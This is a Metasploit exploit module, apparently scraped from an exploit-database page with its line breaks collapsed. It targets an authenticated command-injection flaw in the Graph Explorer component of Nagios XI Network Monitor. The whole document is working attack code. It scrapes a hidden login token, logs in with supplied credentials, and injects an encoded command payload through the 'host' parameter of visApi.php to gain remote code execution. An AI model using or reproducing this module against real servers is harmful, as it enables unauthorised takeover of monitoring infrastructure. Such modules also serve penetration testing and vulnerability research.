1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection", 'Description'=> %q{ This module exploits a vulnerability found in Nagios XI Network Monitor's component 'Graph Explorer'.An authenticated user can execute system commands by injecting it in several parameters, such as in visApi.php's 'host' parameter, which results in remote code execution. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery 'sinn3r' ], 'References' => [ [ 'OSVDB', '83552' ], [ 'BID', '54263' ], [ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ] ], 'Payload'=> { 'BadChars' => "\x00\x0d\x0a", 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python ruby bash telnet', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets'=> [ ['Graph Explorer Component prior to 1.3', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 30 2012", 'DefaultTarget'=> 0)) register_options( [ # URI isn't registered, because this is set by the installer. OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'The password to use']) ], self.class) end def check res = send_request_raw({ 'method' => 'GET', 'uri'=> '/nagiosxi/includes/components/graphexplorer/visApi.php' }) if res and res.code == 404 print_error("Remote host does not have Graph Explorer installed.") elsif res and res.body =~ /Your session has timed out/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def get_login_data res = send_request_cgi({'uri'=>'/nagiosxi/login.php'}) return '' if !res nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || '' cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0]|| '' return nsp, cookie end def is_loggedin(cookie) res = send_request_cgi({ 'method' => 'GET', 'uri'=> '/nagiosxi/index.php', 'cookie' => "nagiosxi=#{cookie}" }) if res and res.body =~ /Logged in as: <a href="https://www.exploit-db.com/exploits/23227/.+">#{datastore['USERNAME']}<\/a>/ return true else return false end end def login(nsp, cookie) res = send_request_cgi({ 'method'=> 'POST', 'uri' => '/nagiosxi/login.php', 'cookie'=> "nagiosxi=#{cookie}", 'vars_post' => { 'nsp' => nsp, 'page'=> 'auth', 'debug' => '', 'pageopt' => 'login', 'username'=> datastore['USERNAME'], 'password'=> datastore['PASSWORD'], 'loginButton' => 'Login' }, 'headers' => { 'Origin'=> "http://#{rhost}", 'Referer' => "http://#{rhost}/nagiosxi/login.php" } }) return is_loggedin(cookie) end def exploit nsp, cookie = get_login_data if nsp.empty? print_error("Unable to retrieve hidden value 'nsp'") return false end if login(nsp, cookie) print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") else print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") return end print_status("Sending Command injection") send_request_cgi({ 'method' => 'GET', 'uri'=> '/nagiosxi/includes/components/graphexplorer/visApi.php', 'cookie' => "nagiosxi=#{cookie}", 'vars_get' => { 'type' => 'stack', 'host' => "localhost<code>#{payload.encoded}</code>", 'service' => 'Swap_Usage', 'div' => 'visContainer1566841654', 'opt' => 'days' } }) end end |